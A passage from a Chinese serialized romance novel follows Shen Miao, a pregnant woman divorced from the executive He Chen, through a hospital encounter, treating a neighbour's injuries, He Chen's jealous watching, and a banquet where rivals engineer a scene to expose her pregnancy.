秦川走进电梯,面无表情,“查房。”
哦,他是儿科医生了。
商音悄悄打量沈渺。
沈渺面视前方,抵在两侧的手揉捏着衣角。
“秦医生,你说商商的情况是不是比下面这些孩子,都严重啊?”
商音试图挑起话题。
秦川微侧了下头,“有比他严重的。”
“哦。”商音扯了扯嘴角,笑得有些虚。
她想问问,秦川有没有听到她们说话。
但迟迟问不出口。
电梯下行,电梯里静悄悄的。
秦川的目光从商音身上,移到沈渺那儿。
他看了沈渺几秒,目光如注。
沈渺目不斜视地看着前方。
终于,电梯门开了。
秦川率先走出电梯。
商音拉着沈渺就追出去了。
“秦医生,你要去吃午饭啊?”
秦川,“嗯。”
“那个,你刚刚等电梯,是不是等挺久的?”
商音变相套话。
几人出了医院门,空气清新,沈渺却觉得胸腔里发闷。
听到商音的问题,她只觉得眼前一黑。
让她眼前又一黑的是,秦川的回答。
“时间不是很久,从你说沈渺跟贺忱离婚那天晚上,哭湿了枕头开始。”
沈渺:“……”
商音嘴角抽搐。
“既然都说到这儿了,我其实挺想问问,沈小姐为什么要跟贺忱离婚。”
秦川严谨的面色透出几分好奇。
他一本正经地研究八卦。
“因为不合适。”商音抢先一步回答,“刚刚我胡说八道,你别放在心上,沈渺跟他离婚开心还来不及呢,怎么可能哭。”
秦川摇头,“我不信,贺忱跟她结婚的时候,是商圈新贵,多少女人想攀都攀不上。”
商音,“我……”
她求救的目光看向沈渺,该编的瞎话都编完了,接下来怎么圆?
“确实,贺总很优秀,是我高攀。”
沈渺避重就轻,“离了婚不该再谈起这些事情,不说了。”
她拉着商音离开。
秦川站在台阶上,看着她们远去的背影。
他掏出手机,敲击着屏幕,打出一行字给贺忱发过去。
——
这么一闹,沈渺没食欲了。
“我真不知道他在后面,不然我怎么会说这些话。”
商音一边吃一边后悔,“都怪我,明知道秦川在这家医院,说话还没个把门的。”
沈渺,“你心里要真过意不去,有空跟秦川聊两句,让他别跟贺忱乱说。”
她跟贺忱的关系,不能用糟糕来形容。
是乱套。
说好不好,可说坏也没多坏。
但任何话,都有可能诱发他们关系进入不好的阶段。
“正好下午他来给商商查房,我们赶紧吃,吃饱了回去。”
商音加快吃饭速度。
沈渺放下筷子,“你给昭姐带一份回去,我先回家了,晚上给你们送晚餐过来。”
她乏得厉害,打算回家补个觉。
“那你赶紧走吧。”
商音挥手示意她离开。
沈渺乘地铁回家,收拾一番上床补觉,睁开眼已经是下午四点多。
她做了几菜一汤送到医院。
商商已经不烧了,精神状态好了许多。
小家伙独自在婴儿车上玩儿,她们三个坐在茶几前吃晚餐。
“小沈的手艺也蛮好的。”
这是昭姐第一次吃沈渺做的饭,竖起大拇指。
沈渺的脚踩在婴儿车上,确保商商一直在她们的视线范围之内。
“之前钻研过一段时间厨艺。”
“你是北方人吗?”昭姐问,“我听你们口音像北方,但是又觉得你们长得不像北方人。”
商音接话,“如假包换,我们从小在京北长大的,但没准我们骨子里有南方的基因。”
“这啥意思?”
昭姐一愣,“你们祖上是南方人?”
商音大大咧咧,“我俩是孤儿,根在哪儿都不知道。”
“啊?”昭姐一脸歉意,“我真没想到你们,抱歉,我不该提这茬的。”
沈渺笑着摇头,“没事,你就算不提这也是事实。”
家虽这么说,昭姐还是觉得不好意思,快速吃完带着商商去一边玩了。
沈渺小口喝着汤,瞥了眼商音,“下午秦医生来过了?”
“来,来过了。”商音眼神飘忽,不敢看她,“他手太快了。”
沈渺,“手快?什么意思?”
“我们前脚走,他后脚就给贺忱发消息了。”
商音问他发了什么,他没说。
但那语气,肯定是泄露了她们的对话。
“贺忱没给你打电话问?”
沈渺摇头,“没有。”
过去的事情不重要,那话贺忱就是听了应该也不会有反应。
只不过旧事重提,显得尴尬罢了。
沈渺正想着,手机突然响了。
是贺忱打来的。
200.许久不见的小情侣
秦川给贺忱发消息说了什么?
短短数秒,无数种可能性冒出来。
沈渺来不及笑话,接起电话。
“贺总。”
“下楼。”
贺忱的嗓音阴沉。
沈渺不难想出,他此刻的脸色有多难看。
她心里‘咯噔’一声。
她跟商音说的那些话,会让她在贺忱面前丢人。
可听贺忱的语气,是生气的。
忙音传来,沈渺的手落下些,她看着暗下来的屏幕,眉头微微皱起。
“怎么了?”
商音迅速把嘴里的食物咽下去,清清嗓子,“干嘛这个表情的,他还能因为你离婚夜哭,骂你不成?”
沈渺收拾东西准备走,“我觉得不对劲,你帮我打听一下,秦川到底跟贺忱说什么了。”
商音起身送她到门口,“秦川没跟贺忱说好话?”
“反正贺忱来找我了,语气很差。”
沈渺这几天没惹他,除了这事儿还能有什么?
医院门口,她刚出来,就看到路边停着的库里南。
贺忱靠在车身上,一片霓虹勾勒着他修长肆意的身姿。
他眼眸深邃黯然,令人摸不透的莫测。
沈渺出来,他的目光准确无误地落在她身上。
夜晚的医院人群稀疏,沈渺穿着一条乳白色长裙,很是乍眼。
她下台阶时拎着裙摆,步伐碎而快地朝他走过去。
“贺总,这么晚了你找我有事?”
贺忱牙关合了合,下颚线条清晰。
“沈渺,有些事情你要瞒,就瞒的严实点,让我查到把柄……”
你会死的很难看。
沈渺脑补出他下一句,心漏跳两拍。
除了孩子,她没瞒他别的事情。
贺忱无端这么说,肯定还是秦川那个环节出错了。
“上车,送你回去。”
甩下几个带着情绪的字,贺忱拉开车门先上去了。
沈渺向前两步,敲了敲车窗。
“我自己回去就行。”
贺忱一个锋锐的眼神投来,“怎么?要让我八抬大轿请你上来?”
沈渺拒绝他的意思很明显。
他双倍恶劣的态度强硬又不容置疑。
沈渺拉开车门上去,脸上有被强迫的不情愿。
“你要不是孕妇,我才不送你回家。”
贺忱踩着油门,说着气话。
他额头青筋凸起,俨然是在气头上。
沈渺不知道他在气什么,怕说多错多,不深文。
“那还真是谢谢贺总了。”
她别过头,看着窗外。
一簇簇霓虹照在她脸上,将车内别扭微妙的气息,照的一清二楚。
半小时后,库里南在十字路口转弯。
沈渺指着路边,“你停门口吧,我自己走进去。”
公寓群门口两辆车发生剐蹭,堵得水泄不通。
争执声隔着窗户就能听到。
贺忱刚将车停好,沈渺打开车门就下去了。
他松安全带的动作一顿,看着她阔步朝公寓群里面走去。
沈渺虽未回头,可她能清晰地察觉到,男人的目光落在她身上。
直到她穿过事故现场,拐了个弯。
她才停下来,回头看了一眼。
小区门口灯光明亮,几个人在那儿理论责任。
透过杂乱的人影,依稀可见方才停在那里的库里南没了踪影。
“呼……”
沈渺长舒一口气。
只是这口气还没舒完,身后冷不丁传来一道声音。
“你怎么没开车回来?”
何之洲穿着荧光绿的运动装,手腕上的运动手表表盘发出微弱的光芒。
放眼望去一团亮晶晶地,沈渺被吓了一跳,下意识后退两步。
“是我。”
何之洲又出声。
沈渺定睛一看,才看出是个人。
“何之洲?”
“问你话呢。”
何之洲在马路牙上蹲下。
沈渺言简意赅,“昨天出了点小车祸,车送去修了,估计要过两天。”
“车祸?”
何之洲起身朝她走过来,将她从头打量到尾。
“你人没事吧?”
他走近了,路灯光亮打在他脸上,照出眼尾下方一块淤青。
“没有你严重。”
沈渺一眼就看到那块伤,“你这是怎么弄的?”
何之洲龇牙,“夜跑掉沟里了,这不刚爬出来。”
他侧了下身体,荧光绿的衣服上沾满了土,膝盖磕得渗血水。
沈渺不忍直视,“你大晚上跑什么步?”
“我一直有夜跑的习惯,刚来这儿不熟,没看到警示牌。”
伤都被发现了,何之洲不装了,一瘸一拐到马路边上坐下。
“我缓了十多分钟才站起来,真疼!”
沈渺拿出手机,打开手电筒照了一下。
膝盖的血水流到小腿上,一部分已经干涸了。
随着他晃动又有新的破裂口,流出血水。
“我送你去医院?”
何之洲摆手摇头,“不用,我给当医生的朋友发过照片,人家说擦点碘伏养两天就好了。”
沈渺把手电筒关了,“那就早点回家去擦碘伏,别往外跑了。”
“我家里没有,正打算出去买。”
何之洲欲言又止。
沈渺看他一眼,静默数秒道,“我家里有,你跟我来吧。”
“真的?”何之洲站起来,踉跄着跟上她,“我以为,你还生我气呢。”
沈渺走的不快,但何之洲跟得依旧费劲。
她将脚步放得更慢了些。
“生气归生气,没深仇大恨,我还能见‘死’不救?”
这附近哪里有药店。
何之洲就是走到两条腿都断了,今晚也买不来药。
“人美心善,形容的就是你了。”
何之洲贫气,“你来深城还适应吗?有没有需要我帮忙的?”
沈渺,“没有,谢谢你的好意,没别的事你早点回京北。”
“贺忱走了我就走。”何之洲毫不犹豫地说,“我不是来看戏的,我帮你应付贺忱,他走了你的危险解除,我就也走。”
沈渺看他一眼,在他脸上看到几分真诚。
她说,“谢谢你的好意,其实没必要。”
“有——哎呦!”何之洲只顾跟她说话,一脚踢在马路沿。
他下意识双手撑地,两条腿直挺挺地抵在那儿。
膝盖的伤口没再碰到,他吓得差点儿叫出来。
“疼~”
沈渺把包放在一旁,拽着他起来。
他爬起来的姿势像僵尸变异的一样,刚站稳腿就被这姿势弄得抽了筋。
何之洲下意识抱着沈渺,连跺脚带扭身体。
远远看去,两人像是许久不见,冲过来相拥在一起的小情侣。
至少,在贺忱的角度看来,是这样的。
201.贺忱守在她家门外
何之洲算有分寸,知道沈渺怀着孕。
借助在她身上的力气,都是虚扶的。
沈渺拽着他衣服袖子,像是拉了个麻烦一样拧着眉。
两人先后进入沈渺的公寓。
一楼的灯亮起,室内明亮如白昼。
室外光线显得暗了许多,不细看谁也看不出路边的阴影处,站着一抹身影。
“你坐。”
沈渺示意何之洲坐下,上楼去拿药箱。
何之洲老老实实坐在沙发上,打量着周围环境。
“该说不说,贺忱给你安排的公寓不错啊。”
一般像沈渺这个职位,公司提供大平层的住所较多。
这公寓虽然室内面积跟大平层差不多,可周围设施配套在深城都数得着。
相比之下,提升了一个档次。
沈渺默不作声,拿了药箱下来给他处理伤口。
“要用生理盐水先冲洗一下,会很疼,你忍着点。”
她坐在地上,歪着头借光处理伤口。
“没事儿,我男子汉不怕——嘶!疼!”
何之洲的话没说完,生理盐水遇到伤口,像是被剜肉一样的痛感袭来。
他身体一哆嗦,双手紧紧抓着沙发巾,人都快挺过去了。
“疼就咬东西。”
沈渺提醒他。
他敲打着沙发,脸憋得通红。
“咬什么?”
沈渺手上的动作利落干脆,头也不抬地说,“咬舌头,不然也是废话太多,聒噪。”
何之洲忍不住低吼出声,头发丝儿都发颤。
“忍!人家都说女人生孩子相当于断了十根肋骨,我这才哪儿到哪儿,我不能比一个女人还脆弱!”
沈渺嗤笑,将生理盐水放下,用棉棒往他腿上涂碘伏。
“这几天别碰水了,注意一点。”
那阵痛意下去,何之洲缓过来了些。
他眨了眨眼睛,有些发黑的视线渐渐恢复光亮。
“可我还想洗澡呢,我这么干净的男人,怎么能不洗澡?”
沈渺,“腿受伤了哪里都不能去,你再干净打扮得再好看,也没人看。”
何之洲,“可我……”
“就算能出门,也没那么多人注意到你。”
沈渺打断他,“可你要是因为伤口感染死了,注意到你的人可就多了去了。”
何之洲瞪她,“我知道你对我心存怨气,可你也不能在我最脆弱的时候,往我心里扎刀子。”
“我要是真想扎你刀子,这才算什么?”沈渺白他一眼。
“沈渺,就你们孤儿院那小姑娘的事情,你听我再跟你解释两句。”
这件事,像一根刺,扎在何之洲心里。
沈渺就是因为这,跟他彻底翻的脸。
沈渺的动作一顿,未接话。
“我知道的时候,这件事儿已经办成了,我没戳破确实不对,可我也尽力了,在我的帮助下那小孩少遭了罪……”
何之洲越说声音越小。
因为他看到,沈渺停止了动作。
她捏着棉棒的手指泛白,垂着眼帘不知在想什么。
“沈渺……”
“浅姨的最终目的是钱,就算你戳破了,她还会想其他的办法要钱。”
沈渺心情有些复杂,“幸好这件事情没给卷卷带来心理上的伤害。”
她心疼卷卷,这么小就经历了这样的事情。
“那些钱,你们要回来了吗?”
何之洲想起什么似的问。
沈渺摇头,“只要回来一部分。”
“那你不打算要了?”何之洲看了看她的肚子,“你马上生孩子了,用钱的地方正多。”
“浅姨的账户里没有钱了,她可能是怕事情败露,把钱转移了,那些钱就留着给孩子们吧,我和商音还有一些钱,够我待产。”
沈渺怎么想,也觉得浅姨短时间内,花不完几十万。
她和商音一致认为,浅姨把钱藏起来了,慢慢供给孤儿院。
“你心够软的。”
何之洲哼了声,“孤儿院那么多孩子,我不信你以后能狠下心来,不再供给孤儿院。”
沈渺沉默。
“你自己当妈了,以后多攒钱给自己和孩子……”
何之洲其实,不太理解沈渺。
“我从孤儿院长大,这么多年来见得最多的就是死别。”
沈渺语气淡然,眼神里的光芒渐渐暗下来。
“孤儿院的孩子大多数都有病,健全的孩子在这样的环境中长大,患上心理疾病的概率比其他孩子高很多。”
“生命只有一次,我想让他们走出这里,还有那些被困在残缺身体里的心智正常的孩子,他们虽然活着痛苦,但是都渴望活着……”
何之洲心一下又一下的狂跳。
他像是打开了世界的新大门。
他以为人只分有钱和没钱。
从未想过,还区分健康与不健康。
“让你说的,我以前挥霍,简直该死。”
沈渺汲气,继续给他擦药。
“你生活在这样的环境中,享受不是错,但是别浪费,对那些孩子能帮就帮一把,很有可能改变他们的命运。”
何之洲腿上凉丝丝的,还有一点痛。
他低头,看着沈渺小心翼翼的模样。
他的心头,一下,两下,三下之后,便是接连不断的快速跳动。
“脸上的伤,也弄一下吧。”
沈渺换了根新的棉棒,起身坐到沙发上,给他眼角那块淤青上药。
何之洲看到她白皙的皮肤上,细小的绒毛。
卷翘的睫毛,黑白分明的眼眸,身上带着一股淡淡的栀子花香味。
“脸可以洗,洗完了自己再上药。”
沈渺上完药,把棉棒丢垃圾桶,然后找了个小袋子,给他把碘伏装起来。
“一天擦两次,拿回去自己擦。”
何之洲‘哦’了一声,接过东西又放在茶几上了。
“沈渺,你跟我讲讲你小时候吧。”
沈渺看他一眼,“我是孕妇,这大半夜的,你能不能别打扰我休息?”
何之洲看看时间,已经十点了。
“你困吗?”
沈渺:“……”
她就是不困,也不想跟何之洲说这些。
“咱俩聊两句,你说我资助你们孤儿院怎么样?”
何之洲抛出话题。
沈渺只能顺着他说,“短时间内,浅姨那儿不需要资助,你去找找其他孤儿院吧。”
“我怕遇上骗子,你给我找找。”何之洲一脸认真。
像是沈渺现在找出来,他立马就给捐钱似的。
“行,正好我知道几家孤儿院。”
沈渺曾经去其他孤儿院做过义工,留的还有联系方式。
她挨个联系了一下。
沙发背对着落地窗。
从窗外看,两人进门后就依偎在沙发上,时不时有着亲昵的小动作。
贺忱站在路边,两条腿如灌了铅。
202.向来冷静的他,快要疯了。
贺忱的手里拿着一个粉色的小猫挂件。
他手背脉络清晰,与可爱的毛绒玩具反差极大。
不知过了多久,他目光强行收回,看了看手里的玩具。
不可能。
何之洲应该是住隔壁的,那所停了豪车的公寓。
他大概是过来,找沈渺有事。
十点,不算太晚。
贺忱掏出一根烟,点燃后,夹在指缝里缓慢地染着。
他靠在路灯杆上,被浓郁的夜色包裹。
眨眼,快十一点了。
贺忱的眉心拧成一团,他薄唇紧绷,面部线条锋锐。
他没再往室内看一眼。
室内明亮的灯透出来,照亮他半张侧脸。
不知第几根烟,缓慢地燃完。
他掐灭,丢入垃圾桶,阔步离开。
三十秒后,何之洲在沈渺家出来。
“明天我就让人把捐款送过去。”
他站在两层台阶上,朝沈渺招手,“我这算不算将功赎罪,你能不能,对我有点好印象?”
沈渺握着门把,保持半开门的动作。
“你本身不算坏。”
何之洲一笑。
笑容还没彻底扬起,就听沈渺又来了句,“就是很烦人。”
何之洲:“……”
“时间不早了,快回去吧。”
沈渺不是太困,下午补了几个小时的觉。
但何之洲话太多,她听着都觉得吵。
“那你早点睡!”
何之洲没想到,他还能有一天跟沈渺独处聊了好几个小时。
虽然是他一直在找话题。
这下,他们算是没有隔阂,真的做朋友了吧?
沈渺关门上楼休息。
商音跟她聊了几句,聊贺忱找她干什么。
提起贺忱,她一整个莫名其妙。
“你帮我在秦川那儿探探底,看他到底跟贺忱说什么了。”
商音回了个‘OK’的表情包。
次日一早,沈渺还在睡,就被一阵敲门声吵醒。
她掀开被子下楼开门。
门外,何之洲穿着一套睡衣,头发乱糟糟的。
“我药忘了拿。”
沈渺回头看了眼玄关的表,“现在还不到六点。”
“我怕你上班走了。”何之洲睁着半个眼,也是困得不行,“我这德行,不能出门见人,没药怎么活啊。”
沈渺转身进屋给他拿药。
他却跟着进来了。
“你帮我再上一次吧,我腿疼弯不下腰。”
何之洲一屁股坐在沙发上,伸直了腿方便沈渺上药。
沈渺深吸一口气。
看在他昨晚给孤儿院捐了两百万的份儿上。
她又给他上了一次药。
伤口有些结痂,再次上药依旧很疼。
沈渺像哄小孩一样,轻轻吹着气。
“晚上我再过来让你给我上药吧。”
何之洲心底有些软软的,他说,“我实在弯不下腿,而且也看不到脸。”
沈渺,“晚上我有事,很晚才回来。”
“没事,我等你,我睡的晚。”
何之洲听出她不情愿,装听不懂,晚上你去干什么?”
沈渺看他一眼,“有个宴会。”
“我不耽误你,你忙你的。”
何之洲见她上完药了,站起来就往外走。
沈渺将药装了袋子,再起身他人都走到门口了。
她快步跟出来。
“我晚上再过来!”
何之洲已经下了台阶,大步回了自己公寓。
沈渺走到门口看了他一眼,只能回去。
灌木丛旁边一棵白杨树下,贺忱下眼睑带着淡淡的乌青。
看到何之洲在沈渺家出来,他眸光倏地一眯。
手机掐在此时响起,响到快自动挂断时,他才滑动屏幕接起。
“贺总,沈秘书怀孕的事情,查到了一些眉目,她曾……”
“不用查了。”
贺忱丢出四个字,打断了林昭的话。
林昭做了一晚上的思想准备,将眉目说出来,几乎告诉贺忱真相。
迎接这和平场景的,将会是何等的风暴。
谁知,不查了?
贺忱挂了电话,转身朝公寓群外走去。
上车后,他想起什么似的,拿出手机翻开秦川发来的消息。
【贺忱,按照时间推断沈渺跟你离婚后半年怀上的孩子,依你对她的了解,她会这么快速结识一个男人,并且将自己交托出去吗?】
沈渺是个沉稳的性子。
离婚半年就怀上了别人的孩子……
贺忱心口扎着的那根刺,隐隐作痛,又被泡在醋缸里那般,酸涩的不是滋味。
无力感,和杂乱的思绪,让向来冷静的他,快要疯了。
——
沈渺一上午都没看到贺忱。
李白恬不知从哪儿听说,贺忱带程唯怡去游玩深城了。
“贺总也是的,跑到深城来干什么,婚事在即,应该很忙啊。”
沈渺半靠在椅子上,合眼休息。
听到她的话,眼皮一颤,睁开一条缝隙。
“贺家跟程家人多,有的是人操办婚事。”
李白恬‘哦’了声,“明董好像很喜欢程小姐,听说她对程小姐比对她自己女儿还亲。”
这话是贺懿传出来的。
她早些年叛逆,因为程唯怡跟明黎艳没少干仗。
跟她关系不错的都知道,传得人尽皆知了。
“让你打听高家少爷生日宴,打听得怎么样?”
沈渺转移话题。
李白恬撇了下嘴,“那就是个二世祖,参加他生日宴的都冲吃喝玩乐去,不过一听说你跟贺总也去,高家又邀请了很多商圈的人来。”
说是生日宴凑个热闹,但又变成了实打实的商机宴会。
“行了,你去准备一下,等贺总通知什么时候过去。”
沈渺示意李白恬去忙。
李白恬离开她办公室。
一下午,办公室静得落针可闻。
昨晚之后,非但没再见过贺忱,甚至连一条消息都没有。
沈渺感觉怪怪的,却又说不上来。
或许,是在陪程唯怡,抽不开身处理工作。
六点钟,贺忱发来消息,让她一个人去宴会。
沈渺的车要明天才能修好,她打车过去的。
高家发来的请柬,在贺忱手上。
她到酒店之后,给贺忱发了个消息,贺忱没回。
她等了几分钟,只要拨贺忱的电话。
但电话刚拨出去没几秒,就被挂了。
沈渺拢眉,她后面又来了人,她只能让开位置,让人家先进。
“你们几个把那边的礼物都搬到车上去,其他的扔了吧。”
入口旁边放着许多礼物,一个脸圆圆的男人在里面挑了几样,让服务员把剩下的都扔了。
沈渺循声望去,认出眼前这人。
高裴济,高家的独苗,那张脸跟高夫人有六七分相似。
她打量对方时,对方也朝她看过来。
目光本是从她身上匆匆略过。
但错过后,高裴济立马又将视线拉回来,重新落在她身上。
“妈?”他脱口而出,喊了一句。
203.远看跟我妈真像!
沈渺四下扫了一圈,确认周围没人。
她指了指自己,一脸疑惑地看着高裴济。
那句‘妈’,喊她呢?
“少爷,您认错人了!”
下人快步走到高裴济身边,小声提醒。
高裴济揉了揉眼睛,从口袋里拿出近视眼镜戴上。
“远看跟我妈真像。”
他小声嘀咕一句,不自在地朝沈渺走了两步。
“你是什么人,在这儿干嘛呢?”
乌龙误会,沈渺比高裴济还不自在。
“高先生,生日快乐,我来参加你的生日宴会,同伴还没来。”
高裴济‘哦’一声,点着头打量她。
总觉得她眉眼,近看还是跟他妈很像。
他甩了甩头道,“别在这儿等着了,来者是客,先进去。”
下人们将礼物都分装完了。
高裴济让他们先走,自己则进入宴会厅招待。
沈渺跟着他进去的。
进去之后,高裴济被一群二世祖围住,玩闹着朝一个方向走去。
沈渺看了看手机,贺忱那边依旧了无音讯。
她打算找个地方等。
谁知一扭头,就看到人群中,与程唯怡站在一起的男人。
贺忱身着黑色西装,俊朗斯文的面容透出一股淡淡的矜贵。
他与程唯怡错开半个身位站着,程唯怡几乎是依偎在他怀里的。
他们对面,是小腹高高隆起的吴玥珊。
吴玥珊一手撑着腰,一手摸肚子,看起来像是在传授经验。
即将新婚的小夫妻,面临怀孕生子的问题,应该是害羞却喜悦、期待的。
可不知为何,程唯怡的表情有些僵硬。
贺忱如常的面色,多了一抹令人捉摸不透的情绪,低头看着程唯怡。
沈渺敛回目光,难怪贺忱没有接她的电话。
陪在程唯怡旁边,怕是不方便。
她找了个空位坐下,手机突然响了一声。
何之洲发来的消息,问她今晚几点回去。
她回:不知道。
何之洲:我困了,补个觉,你回来给我打电话,我过去擦药。
沈渺:知道了。
不等她将手机敛起,视线突然一暗。
男人笔挺的双腿映入眼帘,挺括的西装熨贴着他健壮的身形。
“贺总。”沈渺将手机放起来,迅速起身。
贺忱睨着她,“怎么进来的?”
沈渺,“遇到了高裴济,他带我进来的。”
“你跟高裴济认识?”贺忱语调略沉。
“不认识。”沈渺摇头。
她也不知道,高裴济为什么没盘问她具体身份,就直接把她给带进来了。
贺忱抬起手,看了看腕表,“你迟到了。”
“路上有些堵车。”
沈渺想说,她在等他消息出发来宴会。
谁知道他先过来了?
“等会儿去跟高夫人道个歉,她刚刚在找你。”
贺忱丢下两句话,折身离开,朝着男人堆里走去。
沈渺看了他背影一眼,从手边的桌子上拿了一杯橙汁,去找高夫人。
不远处,程唯怡和吴玥珊坐在沙发上。
“你确定他俩有一腿吗?”
吴玥珊问程唯怡,“我觉得不像呢?”
程唯怡看她一眼,“我跟贺忱哥马上就要结婚了,当着这么多人他们哪里敢露出马脚?”
“这个沈渺,长的就是一副狐媚子相,听说刚刚是我老公带她进来的。”
吴玥珊听下人说了以后,立马就警惕心大起。
幸好高裴济进入宴会厅太忙了,顾不上沈渺。
不然依他那花心的性子,指定要跟着沈渺——
“让你找的人,你可找好了?”
程唯怡声音压低了些,“帮我解决了她这个麻烦,我跟贺忱哥立马就回京北,等着结婚。”
吴玥珊掩唇一笑,“就知道你等不及了,放心吧,我都安排好了。”
说着,吴玥珊从沙发上起来,给了程唯怡一个眼神。
“等着看吧,好戏马上开场。”
程唯怡笑起来,“快去吧。”
——
高夫人被一群贵太太围着。
沈渺在不远处等时机上去。
“沈总。”
她身后突然传来一道声音。
沈渺回头,便看到端着红酒杯的高振山。
“高总。”她微微颔首。
“你这是……”高振山顺着她视线看,刚好看到高夫人。
沈渺如实说,“过来跟高夫人打个招呼。”
高振山扯皮笑,却微微拧着眉。
“我夫人是挺喜欢你的,最近应该也找过你,打扰到你了,但我希望你跟她保持一定的距离。”
沈渺一怔,她想到上次饭局,高夫人接了个电话匆匆离开。
“别误会,我是说——”
高振山说完那话觉得不妥,又开始找补,“我太太就是一个家庭妇女,她整天闲着没事,别打扰了你工作。”
沈渺从他脸上看得出,他是不想让她再跟高夫人接触。
原因不详。
“高先生说的是,因为工作繁忙我多次疏忽了高夫人的热络,希望你代我跟高夫人说个不是。”
高振山眉头舒展开,笑了笑,“沈总是生意场上的女人,想必不喜欢这种应酬,去那边吧,贺总都快忙不开了。”
“好。”
男人堆里也有几个女人,是深城有名的女精英。
沈渺虽是朝着那个方向去了,却只是找了个僻静的地方坐下。
她又往这边看了一眼。
高夫人过来了,站在刚刚她和高振山聊天的地方。
高振山阴沉着脸色训斥着什么。
高夫人不甘心地朝这边看。
沈渺收回目光。
她感觉得出,高夫人有意接近她。
她没兴趣知道,高夫人为什么这么喜欢她。
可她想知道,高振山为什么不同意高夫人跟她走得近。
甚至于亲自来找她,说出这番话。
可惜,沈渺初来乍到,对这里的人和事都不了解。
“沈渺。”
吴玥珊找了她一圈,脸上是挂不住的不满,“你怎么到处乱跑?”
沈渺头有些大。
一个接一个地过来,她还不得不应付。
“高少夫人。”
“听说你跟我年纪差不多大,我这都怀孕好几个月了,你还单着呢,今天在场的都是深城有头有脸的人物,你喜欢哪个,我给你介绍一个?”
吴玥珊扫了扫男人堆里的年轻人。
沈渺觉得高家人一个比一个冒昧。
“不牢高小姐费心了,我目前没有结婚的打算。”
“你这意思是,这里的男人,你都看不上?”
吴玥珊刻意曲解她的意思。
204.逼沈渺当众承认怀孕
“我配不上这些公子哥才是。”
沈渺避开她下的套。
但吴玥珊早有防备,准备了另外一个套。
“你进来,就有人相中了,托我来说辞一下呢,对方不介意身份地位,刚好介绍给你认识一下。”
说着,吴玥珊转身,不知朝何处抬了抬手。
人群里,一个穿着深灰色西装,约莫快四十岁的男人走出来。
男人戴着老式的黑框眼镜,头发擦了一层发蜡,锃光瓦亮。
下颚青色的胡茬下,略显粗糙的皮肤,暴露着他的年龄。
“石总,这就是我跟你说的那位对你很感兴趣的沈总。”
吴玥珊小声跟石青达说,“出身是差了点,但是能力强,又比你小好几岁,你好好把握。”
石青达的目光几乎粘在沈渺身上了。
“知道了。”
他敷衍着吴玥珊。
吴玥珊带着他走向沈渺。
“沈渺,这位是石业科技的石总。”
若是个公子哥,沈渺找个借口就走人了。
偏偏对方也是生意人。
沈渺伸出手去,“石总,我是百荣分部的沈渺。”
“沈总。”石青达握住她白嫩手软的手,脸上乍开一抹笑容。
“你们好好聊,我去招待别人了。”
吴玥珊拍了拍石青达的肩膀,递给石青达一个眼神后离开。
石青达却没看她,一直看着沈渺。
他是个钻石王老五,年轻时拼事业耽误了感情。
现在将近四十岁,在感情上相当挑剔。
对于那些相中他钱的女人,他都相不中。
可不看他钱的,他又总会挑出毛病来。
一直没找到合适的对象,让他很是头疼,他还有很多家业等着继承呢。
眼下,沈渺太合他的心意了。
而沈渺也对他感兴趣,想结识他,简直是缘分。
“沈小姐,今年多大了?”石青达率先发问。
这不是聊商业天的模式,是相亲模式。
不知道吴玥珊是怎么跟他说的。
沈渺只能委婉道,“石总,我想……可能有些误会。”
“误会什么?”
石青达问她,“你的情况,我都听高少夫人说过了,我给你说说我的情况吧。”
“我……”
“我年纪是比你大了一些,但是在感情上,我的经验不丰富,虽然见过的女人多,但是几乎都没有交往。”
石青达认为,沈渺此刻应该是近距离接触后,又对他没那么大兴趣了。
他极力推销自己,试图挽回一下沈渺对他的兴趣。
“我父母双亡,家中独子,石业科技的底蕴你应该清楚,嫁给我也不算吃亏,我看你也不是贪财的女人,嫁过来就相夫教子,在事业上也能帮我……”
沈渺来深城这么久,终于彻彻底底地了解了第一个深城人。
石青达想找个老婆,比工作还要认真的态度。
吴玥珊一定是跟石青达说,她对石青达有意,想以交往为目的的接触。
所以石青达才这么认真地跟她互相交底。
“石总,抱歉,我……”
“这样吧,你先不要急着拒绝我。”
石青达听到‘抱歉’两个字,就知道沈渺是彻底反悔了。
可他想挽留一下,毕竟相亲这么多,难得遇到一个他喜欢的。
“我们先做个朋友,交换一个联系方式,接触一下。”
石青达拿出手机,打开微信,让她扫他加好友。
沈渺扫了,不过她边加边说,“石总,不知道高少夫人怎么跟您说的,但其中一定有误会,我……”
不等她把话说完,身边突然传来杂乱脚步声,以及一声惊呼。
“小心!”
不等沈渺回头,只觉得身上一凉。
浓烈的酒味蔓延开,红褐色的液体落在她身上,将她的衣衫打湿。
沈渺站起来,抖了抖裙子,奈何裙子面料吸水极快。
湿了的衣服贴在她身上,将她小腹的弧度勾勒出来。
石青达掏出帕子,正欲递给她让她擦一擦。
看到她小腹隆起的弧度,他怔了下。
“你,你怀孕了?”
服务员也拿了纸巾过来。
沈渺接过纸巾,一边擦衣服的水珠,一边朝石青达点了点头。
“抱歉。”
“你——”石青达看起来有些恼怒,“简直过分!”
他冷哼一声,甩了甩袖子,转身离开。
与此同时,闯了祸的服务员悄无声息地离开,潜入人群朝着吴玥珊走去。
沈渺朝服务员的背影看了一眼。
不知道吴玥珊搞什么。
她丢下纸巾,转身去了卫生间。
虽然已经是六月份,但是临海的城市夜晚有些凉。
洒了酒水的衣服贴在身上,让沈渺觉得整个人都冷飕飕的。
她将裙摆提起,放在烘手机下吹。
可效果并不是很好。
沈渺肩上突然一暖。
黑色的西装外套搭在她身上,敛去她周身几分冷意。
衣服上残留着男人的余温,让她有了片刻的暖意。
“贺总。”
沈渺放下裙摆,整理了下衣服。
贺忱睨了眼她裙子上那块水渍,沉眸凛冽。
“回去吧,免得生病耽误工作。”
他嗓音清洌富有磁性。
若没有后半句的解释,沈渺觉得他是个体贴的好上司。
添上那半句——
“那我就先走了。”
沈渺颔首,转身离开。
她并未脱下他的外套,外面比酒店内更凉。
万一冻感冒了,她不担心工作,担心肚子里的孩子。
贺忱看着她出了宴会大厅,放下酒杯转身朝一个方向走去。
角落里,吴玥珊跟程唯怡坐在一起。
她倾身凑到程唯怡耳边小声说,“石青达是个老婆迷,你瞧着吧,他觉得自己被沈渺耍了,一定不会善罢甘休的。”
“你确定吗?”
程唯怡有些担心,“机会可就这一次,真能到让沈渺松口的那一步吗?”
吴玥珊迟疑片刻,拧眉‘嘶’了一声。
“你也是的,怎么没跟我说沈渺怀孕呢?她怀的可是贺忱的孩子?她要是曝光那孩子是贺忱的,这个婚你们还结不结?”
沈渺的孩子,不是贺忱的。
程唯怡可是让秦川做过亲子鉴定的。
